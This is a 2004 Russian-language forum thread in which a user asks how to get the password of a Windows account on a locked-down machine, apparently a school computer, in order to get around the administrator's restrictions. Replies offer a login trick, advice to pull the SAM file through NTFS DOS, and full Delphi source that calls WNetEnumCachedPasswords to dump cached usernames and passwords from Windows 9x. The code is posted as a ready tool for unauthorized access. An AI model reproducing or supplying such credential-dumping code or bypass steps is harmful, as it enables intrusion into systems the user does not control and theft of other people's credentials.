Требуется, зная имя пользователя Windows'а узнать его пароль!
Windows закрыть почти со всех сторон (даже панель управления недоступна!); открыт только диск с системой для чтения и диск для учеников. Реестр закрыт, дисковод не работает!

Можно подбором, но это очень долго. Может алгоритм есть какой-то или что-то прочитать надо, или ещё что-то...

Помогите, пожалуйста

Login: Administartor (логин должен быть админа)
Pass: 7777
<Enter>
Далее выскочет фигная - доступа нет.
Нажимаешь Ентер, затем очищаешь поле пароля и опять Ентер.
Если опять вылезет та фигня, то фишка не пройдет.
Фишку можно пробовать на НТях (2000 и остальные) без какого-то СП (какого не помню).
ЗЫ: Может быть надо через safe mode.
Из самой винды пароль не вынуть, т.к. он зашифрован и обратно - никак...
Правда, можно попробоват вариант - из под NTFS DoS достать какой-то SAM файл...И с ним поработать...
Через Делфи - никак, там как САМ файлы защищены от доступа любого ПО.

Это сообщение отредактировал(а) Mal Hack - 19.2.2004, 22:57

Pakshin A. S.
инет есть?))

А ведь есть программы по взлому пароля?!

Цитата(oleg1973 @ 19.2.2004, 23:58)

Pakshin A. S. инет есть?))

Не понял... (sorry не знаю понятия)

ИНТЕРНЕТ ЕСТЬ? =)

Цитата(Victor @ 19.2.2004, 23:16)

ИНТЕРНЕТ ЕСТЬ? =)

а как он тогда на форум выходит? И вообще-то наш друг Pakshin A. S. не иначе хочет своего Админа обмануть, не хорошо

ну если есть инет то можна а загрузить на комп ченить

На bugtraq.ru есть статья, полностью описывающая все возможности "добраться" до пароля в xp (не через "инет").

А где точнее? какой раздел?

Это на bugtraq.ru: Теория и практика аудита и восстановления паролей Windows NT/2000/XP

А это для 9Х:

Код

unit Unit1; interface uses  Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls; type    TForm1 = class(TForm)    GroupBox1: TGroupBox;    ListBox: TListBox;    Label1: TLabel;    Label2: TLabel;    procedure Label1Click(Sender: TObject);    procedure FormShow(Sender: TObject);  private    { Private declarations }  public    { Public declarations }    hMPR: THandle; end; // Отсюда мы можем заключить что должно валяться на форме, // надеюсь вы сами всё закидаете, а если нет, то вам дорога в хелпы. var  Form1: TForm1; const  Count: Integer = 0; function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall; implementation {$R *.DFM} function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords'; // Объявляем функцию внешней, надеюсь вы поняли // каким макаром, или вам опять в хелпы type  PWinPassword = ^TWinPassword;  TWinPassword = record  EntrySize: Word;  ResourceSize: Word;  PasswordSize: Word;  EntryIndex: Byte;  EntryType: Byte;  PasswordC: Char; end; // Объявляем все типы, которые будем юзать в проге. var  WinPassword: TWinPassword; // Собственно переменные :-) function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall; var  Password: string;  PC: array[0..$FF] of Char; begin  inc(Count);  // Увеличиваем число паролей на 1  Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);  // Получаем в PC пароль  PC[WinPassword.ResourceSize] := #0;  CharToOem(PC, PC);  Password := StrPas(PC);  // После недолгих преобразований в Password имеем кэшированный логин  Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);  Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);  PC[WinPassword.PasswordSize] := #0;< BR> CharToOem(PC, PC);  // Теперь в PC имеем пароль  Password := Password + ': ' + StrPas(PC);  // Разделяем логин и пароль двуеточием...  Form1.ListBox.Items.Add(Password);  // ...и добавляем в ListBox на форме  Result := True;  // Возвращаемся с положительным результатом end; procedure TForm1.Label1Click(Sender: TObject); begin  // при нажатии на лэйбл открываем окошко ие с нашим любимым сайтом :-)  ShellExecute(GetDesktopWindow, 'open', 'http://www.lamerov.net', nil, nil, 0); end; procedure TForm1.FormShow(Sender: TObject); begin  // А теперь сама процедура заполнения всех паролей.  if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then  // Если не найден кэшированый пароль, то  begin    Application.MessageBox('Can''t load passwords: User is not logon.',    'Error', mb_Ok or mb_IconWarning);    Application.Terminate;    // Выдаем сообщение об этом  end  // иначе,  else  if Count = 0 then    // если паролей всего 0 то тоже об этом сообщаем    ListBox.Items.Add('No passwords found...'); end; end.

Это все берет кэшированные пароли из 9x винды, а также из винды, где в установленном виде есть ИЕ 5 (хотя может и 4-ого хватит)
Если интересно, всю работу делает WNetEnumCachedPasswords.

Спасибо, буду разбираться!

Это сообщение отредактировал(а) Pakshin A. S. - 21.2.2004, 19:13